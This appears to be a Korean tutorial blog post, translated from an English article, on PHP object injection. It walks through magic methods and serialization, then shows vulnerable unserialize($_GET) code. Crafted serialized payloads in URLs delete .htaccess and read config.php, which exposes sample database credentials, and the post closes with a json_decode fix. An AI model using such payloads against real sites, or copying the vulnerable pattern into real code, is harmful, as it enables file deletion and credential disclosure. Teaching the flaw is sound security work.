PHP Object Injection

Hide

2015. 05. 02

(원문 : http://securitycafe.ro/2015/01/05/understanding-php-object-injection)

[ PHP Classes and Objects ]

PHP의 class와 object는 굉장히 간단하다. 예를 들어 아래의 코드는 변수와 메소드를 정의한 클래스이다.

<?php

class TestClass

{

// A variable

public $variable = 'This is a string';

// A simple method

public function PrintVariable()

{

echo $this->variable;

}

}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

이것은 object를 생성하고 변수의 값을 출력하는 PrintVariable 함수를 호출한다.

[ PHP Magic Methods ]

PHP의 class는 magic function 이라는 특수한 function을 가지고 있다. Magic function의 이름은 __로 시작한다(ex. __construct, __destruct, __toString, __sleep, __wakeup)

이러한 function들은 아래의 상황에서 자동으로 호출된다.

- __construct 는 object가 생성될 때 호출된다. (생성자)

- __destruct 는 object가 사라질 때 호출된다. (소멸자)

- __toString 은 object가 문자열로 사용될 때 호출된다.

이러한 Magic method들이 어떠한 형태로 동작하는지 알아보기 위해 이전의 소스에 추가해보자.

<?php

class TestClass

{

// A variable

public $variable = 'This is a string';

// A simple method

public function PrintVariable()

{

echo $this->variable . '<br />';

}

// Constructor

public function __construct()

{

echo '__construct <br />';

}

// Destructor

public function __destruct()

{

echo '__destruct <br />';

}

// Call

public function __toString()

{

return '__toString<br />';

}

}

// Create an object

// Will call __construct

$object = new TestClass();

// Call a method

// Will print 'This is a string'

$object->PrintVariable();

// Object act as a string

// Will call __toString

echo $object;

// End of PHP script

// Will call __destruct

?>

위에서 볼 수 있듯이 __construct는 object가 생성될 때 호출되며 __destruct는 PHP Script가 끝날 때와 object가 사라질 때 호출된다. 그리고 __toString은 object가 문자열로 작용될 때 호출된다. echo 기능은 $object를 문자열로 취급할 것이며 __toString이 자동으로 호출될 것 이다. 이것의 결과는 아래와 같다.

__construct

This is a string

__toString

__destruct

이것이 기본적인 Magic method들의 개념이다.

[ PHP Object Serialization ]

PHP는 object serialization을 허용한다. Serialization은 object를 저장하고 나중에 재사용할 수 있게 해준다. 예를 들어 당신은 사용자의 정보가 담긴 object를 저장하고 나중에 재사용할 수 있다. object를 serialize 하기 위해서 serialize 함수가 필요하다. 이 함수는 당신이 나중에 unserialize 함수를 호출하여 object를 재생성할 때 사용하는 문자열 표현을 반환한다.

간단히 아래의 예제를 보자.

<?php

// Simple class definition

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age

. ' years old. <br />';

}

}

// Create a user

$usr = new User();

// Set user data

$usr->age = 20;

$usr->name = 'John';

// Print data

$usr->PrintData();

// Serialize object and print output

echo serialize($usr);

?>

결과는 아래와 같다.

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

위에서 볼 수 있듯이 클래스 변수와 user set data 가 있다. 저기엔 method(PrintData)에 관련된게 없다. 오직 object data만 serialize 됐다. 이제 이것을 재사용하기 위해 unserialize 해보자.

<?php

// Simple class definition

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// Create a user

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// Print data

$usr->PrintData();

?>

결과는 아래와 같다.

User John is 20 years old.

[ Serialization magic functions ]

__construct 와 __destruct 는 object가 생성/소멸할 때 자동으로 호출되는 반면 다른 Magic method 들은 object 를 serialize / unserialize 할 때 호출된다.

- __sleep 은 object 가 serialize 될 때 호출된다.

- __wakeup 은 object 가 deserialize 될 때 호출된다.

__sleep은 반드시 serialize 된 변수의 이름을 배열로 반환한다는 점에 주목하라.

이러한 기능이 어떻게 동작하는지 아래의 예제를 통해 알아보자.

<?php

class Test

{

public $variable = 'BUZZ';

public $variable2 = 'OTHER';

public function PrintVariable()

{

echo $this->variable . '<br />';

}

public function __construct()

{

echo '__construct<br />';

}

public function __destruct()

{

echo '__destruct<br />';

}

public function __wakeup()

{

echo '__wakeup<br />';

}

public function __sleep()

{

echo '__sleep<br />';

return array('variable', 'variable2');

}

}

// Create an object, will call __construct

$obj = new Test();

// Serialize object, will call __sleep

$serialized = serialize($obj);

// Print serialized string

print 'Serialized: ' . $serialized . <br />';

// Unserialize string, will call __wakeup

$obj2 = unserialize($serialized);

// Call PintVariable, will print data (BUZZ)

$obj2->PrintVariable();

// PHP script ends, will call __destruct for both objects($obj and $obj2)

?>

결과는 아래와 같다.

__construct

__sleep

Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}

__wakeup

BUZZ

__destruct

__destruct

[ PHP Object Injection ]

이제 우리는 serialization이 어떻게 동작하는지 알게 되었다. 그러나 이것으로 어떻게 exploit을 진행할까? 여기에는 많은 가능성들이 존재하는데 모든 것은 application의 흐름과 사용가능한 class/magic function 에 달려있다. 우리는 웹 어플리케이션의 소스코드에서 __wakeup 이나 __destruct 등이 정의된 것을 찾을 수 있다. 예를 들어 우리는 로그파일을 임시로 저장하는 클래스를 찾을 수 있다. 소멸할 때 object는 더 이상 로그파일이 필요하지 않기 때문에 이것을 삭제할 것이다.

<?php

class LogFile

{

// Specify log filename

public $filename = 'error.log';

// Some code

public function LogData($text)

{

echo 'Log some data: ' . $text . '<br />';

file_put_contents($this->filename, $text, FILE_APPEND);

}

// Destructor that deletes the log file

public function __destruct()

{

echo '__destruct deletes "' . $this->filename . '" file. <br />';

unlink(dirname(__FILE__) . '/' . $this->filename);

}

}

?>

다음은 이것의 사용 예 이다.

<?php

include 'logfile.php';

// Create an object

$obj = new LogFile();

// Set filename and log data

$obj->filename = 'somefile.log';

$obj->LogData('Test');

// Destructor will be called and 'somefile.log' will be deleted

?>

다른 스크립트에서 우리는 유저가 제공한 데이터를 unserialize 하는 모습을 볼 수 있다.

<?php

include 'logfile.php';

// ... Some other code that uses LogFile class ...

// Simple class definition

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// Unserialize user supplied data

$usr = unserialize($_GET['usr_serialized']);

?>

여기서 알 수 있듯이 위 코드는 LogFile 클래스를 사용한다. 해당 클래스에서는 유저가 제공한 데이터를 unserialize 하고 이 부분이 인젝션 포인트이다. 유효한 요청은 다음과 같다.

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

만약 우리가 serialize 된 LogFile object 대신 User object를 보내면 어떻게 될까?

아무런 제약이 없기 때문에 우리가 원하는 serialize된 object를 보낼 수 있다.

먼저 serialize 된 LogFile object를 만들어보자.

<?php

$obj = new LogFile();

$obj->filename = '.htaccess';

echo serialize($obj) . '<br />';

?>

결과는 아래와 같다.

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

__destruct deletes ".htaccess" file.

이제 serialize 된 LogFile object를 통해 요청해보자.

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

결과는 아래와 같다.

__destruct deletes ".htaccess" file.

이제 .htaccess 파일은 삭제됐다. 이것이 가능한 이유는 __destruct 기능이 자동으로 호출되고 우리가 LogFile class 변수에 접근할 수 있기 때문이다. 그래서 우리는 filename을 원하는 값으로 지정할 수 있다.

이것이 취약점의 이름이 Object Injection 인 이유다. Code Execution 또는 공격자가 원하는 행동을 하기 위해 정상적인 serialize object 대신 다른 object를 인젝션하는 것이다. 설사 이것이 좋은 예제가 아니라도 개념을 이해하기엔 충분할 것이다. unserialize 는 __wakeup 과 __destruct를 자동으로 호출하고 공격자는 class 변수들을 원하는 대로 조작할 수 있다.

[ Common Injection Points ]

기본적인 공격 포인트가 __wakeup 과 __destruct 에 달려있다고 하더라도 다른 공격 포인트도 존재한다. 모든 것은 Web application 의 코드흐름에 달려있다.

예를 들어 User class 는 프로그래머에게 object를 string으로 다룰 수 있도록 하기 위해 __toString 을 정의한다. 그러나 다른 class 들은 프로그래머에게 파일을 읽을 수 있도록 해당 메소드를 정의할 수 있다.

<?php

// ... In some other included file ...

class FileClass

{

// Filename variable

public $filename = 'error.log';

// Object used as a string displays the file contents

public function __toString()

{

return file_get_contents($this->filename);

}

}

// Main User class

class User

{

// Class data

public $age = 0;

public $name = '';

// Allow object to be used as a String

public function __toString()

{

return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// Expected: a serialized User object

$obj = unserialize($_GET['usr_serialized']);

// Will call __toString method of the unserialized object

echo $obj;

?>

유효한 요청은 User object를 serialize 할 것이다.

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

결과는 User의 정보를 나타낼 것이다.

User John is 20 years old.

만약 우리가 serialize 된 FileClass object를 사용하면 어떻게 될까? 다음과 같은 소스로 serialize 된 FileClass 를 만들 수 있다.

<?php

$fileobj = new FileClass();

$fileobj->filename = 'config.php';

echo serialize($fileobj);

?>

결과는 아래와 같다.

O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

만약 이전 스크립트에서 지금과 같이 FileClass object를 호출하면 어떻게 될까?

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}

그것은 아마 config.php 파일의 소스를 출력해줄 것이다.

<?php

$hostname = "localhost";

$user = "root";

$password = "apmsetup";

$dbname = "hide";

$q = mysql_connect($hostname, $user, $password) or die("db error");

mysql_select_db($dbname, $q) or die("db error2");

?>

스크립트가 echo $obj 를 호출할 때 우리가 FileClass object를 사용했기 때문에 이것은 FileClass object의 __toString 메소드를 호출할 것이고 결과적으로 우리가 원하는 파일을 읽고 출력해줄 것이다.

[ Other possible exploitation situations ]

이것은 또한 다른 Magic method들도 사용이 가능하다. __call 은 object가 function 를 호출할 때 자동으로 호출되며 __get / __set 은 object가 클래스변수에 접근할 때 호출된다.

그러나 공격포인트는 Magic method 에만 국한되지 않는다. 일반 function 들도 기본개념은 같다. 예를 들어 User class 가 유저의 정보를 검색하고 출력하기 위해 get 메소드를 정의해놨지만 다른 class 에서는 DB에서 정보를 얻는 용도로 정의해놨을 때 결과적으로 SQL Injection 취약점이 발생한다. 또는 set / write 메소드는 악의적인 코드를 쓸 수 있고 이것은 RCE까지 이어질 것이다.

[ How to fix and avoid it ]

유저의 입력값을 unserialize 하지 말고 json_decode 함수 사용을 권장한다.

[ Conclusion ]

취약한 부분을 찾는 것은 어려울 수 있고 그것을 exploit 까지 하는 것은 더 어려울 수 있다. 이것은 굉장히 위험한 취약점이다. 이것은 DOS, 악의적인 파일읽기, SQL Injection, RCE 등의 결과를 낳을 수 있다.